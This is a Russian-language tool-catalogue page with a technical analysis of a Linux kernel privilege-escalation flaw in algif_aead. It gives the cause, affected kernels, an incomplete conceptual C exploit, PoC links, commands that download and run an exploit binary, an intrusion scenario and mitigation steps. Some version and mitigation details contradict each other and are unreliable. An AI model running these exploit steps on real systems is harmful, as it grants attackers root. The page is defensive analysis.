Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/alvaroguzmancode/cve-2026-31431-mitigacion
Повышение привилегийАнализ уязвимостейЭксплуатацияОбучение и Образование
GitHubalvaroguzmancode/cve-2026-31431-mitigacion

CVE-2026-31431-mitigacion

Технический анализ CVE-2026-31431 — локального повышения привилегий в ядре Linux в модуле algif_aead, включая первопричину, затронутые версии, схему эксплуатации и стратегии смягчения последствий.

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
13 месяцев назадЕщё не проверено

CVE-2026-31431 — Полный технический анализ

Классификация: локальное повышение привилегий (LPE) — ядро Linux
CVSS: 7.8 (высокий)
Воздействие: непривилегированный пользователь → root
Затронутый модуль: algif_aead (подсистема AF_ALG ядра)


Содержание

  1. Почему это уязвимо?
  2. Какие версии затронуты?
  3. Как эксплуатируется
  4. Как смягчить

1. Почему это уязвимо?

Подсистема AF_ALG

Ядро Linux предоставляет интерфейс криптографии пользовательскому пространству под названием AF_ALG (сокет семейства AF_ALG). Этот интерфейс позволяет непривилегированным процессам использовать криптографические ускорители ядра — шифрование, хеширование, генерацию ключей — без необходимости в root.

Один из его модулей — algif_aead, который реализует режим AEAD (Authenticated Encryption with Associated Data), используемый такими алгоритмами, как AES-GCM или ChaCha20-Poly1305.

Корневая причина

Ошибка заключается в том, как algif_aead обрабатывает операции sendmsg() + recvmsg(), когда выходной буфер меньше ожидаемого. Ядро выполняет операцию копирования (copy_to_user) без корректной проверки размера, что приводит к:

root@kitploit:~
Переполнение буфера → запись за пределы памяти ядра

Технически:

root@kitploit:~
algif_aead_copy_sgl()
  └─ sg_copy_to_buffer()
       └─ memcpy в адрес, частично контролируемый пользователем

Эта запись за пределы границ позволяет перезаписать соседние управляющие структуры ядра в памяти — в частности, указатели на функции или структуры cred — для повышения привилегий.

Почему для эксплуатации не требуется root?

Потому что AF_ALG доступен непривилегированным пользователям. Любой процесс может открыть сокет AF_ALG и отправлять данные без предварительной аутентификации. Эксплойту не нужна никакая вспомогательная уязвимость.

root@kitploit:~
// Это может сделать любой пользователь системы
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);

2. Какие версии затронуты?

Уязвимые ядра

Версия ядраЗатронута?
< 5.10Нет (модуль не существовал в таком виде)
5.10 — 6.1.xДа ⚠️
6.2.xДа ⚠️ (включая ядро из PoC)
6.3+ с применённым патчемНет ✅

Наиболее подверженные дистрибутивы

Как проверить своё ядро

root@kitploit:~
# Проверить версию ядра
uname -r

# Проверить, загружен ли уязвимый модуль
lsmod | grep algif_aead

# Проверить доступность AF_ALG
cat /proc/net/protocols | grep ALG

Пример уязвимого вывода

root@kitploit:~
$ uname -r
6.2.0-20-generic

$ lsmod | grep algif_aead
algif_aead             20480  0
af_alg                 32768  3 algif_aead,algif_skcipher,algif_hash

⚠️ Если вы видите algif_aead в lsmod и ваше ядро 6.2.x на Ubuntu 23.04, вы подвержены риску.


3. Как эксплуатируется

⚠️ Этическое предупреждение: этот раздел носит исключительно образовательный характер. Эксплуатация систем без явного разрешения незаконна и наказуема. Примеры предназначены для контролируемых лабораторных сред.

Поток эксплойта

root@kitploit:~
1. Открыть сокет AF_ALG (algif_aead)
2. Отправить sendmsg() с буфером завышенного размера
3. recvmsg() с меньшим буфером → триггер ошибки
4. Запись за пределы границ в heap ядра
5. Перезаписать cred->uid/gid на 0
6. execve("/bin/sh") → root-шелл

Концептуальный минимальный эксплойт (C)

root@kitploit:~
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>

int main(void) {
    struct sockaddr_alg sa = {
        .salg_family = AF_ALG,
        .salg_type   = "aead",
        .salg_name   = "gcm(aes)",
        .salg_feat   = 0,
        .salg_mask   = 0,
    };

    int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
    bind(fd, (struct sockaddr *)&sa, sizeof(sa));

    // Настроить 16-байтовый ключ
    char key[16] = {0};
    setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
    setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);

    int op_fd = accept(fd, NULL, NULL);

    // Большой буфер → триггер записи за пределы границ
    char big_buf[4096] = {0};
    char small_buf[16] = {0};

    struct msghdr msg = {0};
    // ... построение msghdr с cmsg ALG_OP_ENCRYPT
    sendmsg(op_fd, &msg, 0);

    // recvmsg с недостаточным буфером → ядро пишет за пределы границ
    recv(op_fd, small_buf, sizeof(small_buf), 0);

    // Если эксплойт сработал, теперь мы root
    if (getuid() == 0) {
        printf("[+] Root получен!\n");
        execl("/bin/sh", "sh", NULL);
    }

    return 0;
}

Это упрощённая схема. Настоящий эксплойт требует дополнительных примитивов формирования heap для выравнивания записи за пределы границ со структурой task_struct->cred.

Известные публичные PoC

Следующие репозитории содержат задокументированные рабочие реализации:

  • copy-fail-c — эксплойт на чистом C, требует компиляции
    https://github.com/tgies/copy-fail-c

  • copy-fail-tiny-elf — автономный ELF-бинарник, не требует компиляции
    https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431

Типичное использование (лаборатория)

root@kitploit:~
# Клонировать и скомпилировать copy-fail-c
git clone https://github.com/tgies/copy-fail-c
cd copy-fail-c
make
./copyfail

# Ожидаемый результат на уязвимой системе:
# [*] Проверка модуля algif_aead...
# [*] Подготовка heap spray...
# [+] Запись за пределы границ успешна
# [+] UID теперь: 0
# # whoami
# root

С ELF-бинарником (без компиляции)

root@kitploit:~
wget https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431/raw/main/copyfail
chmod +x copyfail
./copyfail

Реальный сценарий атаки

root@kitploit:~
Внешний злоумышленник
      │
      ▼
Эксплуатирует веб-уязвимость (RCE) → доступ как www-data
      │
      ▼
Загружает copyfail на сервер (wget/curl)
      │
      ▼
Запускает ./copyfail
      │
      ▼
Root-шелл на сервере ✓

Расчётное время от доступа www-data до root: < 30 секунд.


4. Как смягчить

Окончательное решение — обновление системы

Единственное реальное решение — ядро с применённым патчем.

root@kitploit:~
# Вариант 1: обновление до Ubuntu 24.04 LTS (рекомендуется)
do-release-upgrade

# Вариант 2: если у вас уже Ubuntu 22.04 LTS
sudo apt update && sudo apt dist-upgrade
sudo reboot
# Проверить исправленное ядро
uname -r   # должно быть ≥ 5.15.0-107 на Ubuntu 22.04

Немедленное смягчение — отключение уязвимого модуля

Если вы не можете обновиться прямо сейчас, отключите algif_aead:

root@kitploit:~
# Создать blacklist модуля
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf

# Перегенерировать initramfs для постоянства
sudo update-initramfs -u

# Перезагрузиться
sudo reboot

Проверить, что модуль отключён:

root@kitploit:~
lsmod | grep algif_aead
# Ничего не должно появиться

⚠️ Это может сломать программное обеспечение, использующее AEAD-шифрование через AF_ALG (редко встречается на стандартных веб-серверах).


Смягчение с помощью sysctl — ограничение пользовательских namespace

root@kitploit:~
# Отключить непривилегированные user namespaces (ломает некоторые функции Docker)
sudo sysctl -w kernel.unprivileged_userns_clone=0

# Сделать постоянным
echo "kernel.unprivileged_userns_clone=0" | sudo tee -a /etc/sysctl.d/99-hardening.conf
sudo sysctl -p /etc/sysctl.d/99-hardening.conf

Смягчение с помощью AppArmor — блокировка AF_ALG

Создать профиль AppArmor, запрещающий доступ к AF_ALG:

root@kitploit:~
# /etc/apparmor.d/local/restrict-af-alg
network af_alg,   # запретить в конкретных профилях

Для веб-процесса (пример nginx/www-data):

root@kitploit:~
# Добавить в профиль AppArmor для www-data или nginx
# deny network af_alg,
sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx

Снижение воздействия — усиление защиты www-data

Хотя это не предотвращает повышение привилегий, это уменьшает начальную поверхность атаки:

root@kitploit:~
# Проверить, что у www-data нет sudo
sudo grep www-data /etc/sudoers

# Удалить ненужные SUID-бинарники
find / -perm -4000 2>/dev/null

# Ограничить доступные каталоги
chmod 700 /root
chmod 750 /home/*

Сводная таблица мер смягчения


Ссылки

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-31431
  • Коммит ядра с исправлением: подсистема crypto/algif_aead.c
  • PoC: https://github.com/tgies/copy-fail-c
  • PoC ELF: https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431
  • Соответствующее уведомление безопасности Ubuntu: USN-XXXX-1

Документ подготовлен в академических целях — системный администратор, 2026

Скачать инструмент
ДистрибутивТипичное ядроЕсть патч?
Ubuntu 23.04 (lunar)6.2.0❌ EOL — без патчей
Ubuntu 22.04 LTS5.15.x✅ Исправлено
Ubuntu 24.04 LTS6.8.x✅ Не затронуто
Debian 12 (Bookworm)6.1.x✅ Исправлено
Arch Linux (2026-03+)6.8.x✅ Не затронуто
Мера смягченияЭффективностьВлияние на сервисПостоянная
Обновление до Ubuntu 24.04✅ ПолнаяМинимальноеДа
Blacklist algif_aead✅ ВысокаяОчень низкоеДа
unprivileged_userns_clone=0🟡 ЧастичнаяУмеренноеДа
AppArmor AF_ALG deny✅ ВысокаяНизкоеДа
Усиление защиты www-data🟡 СнижаетНетДа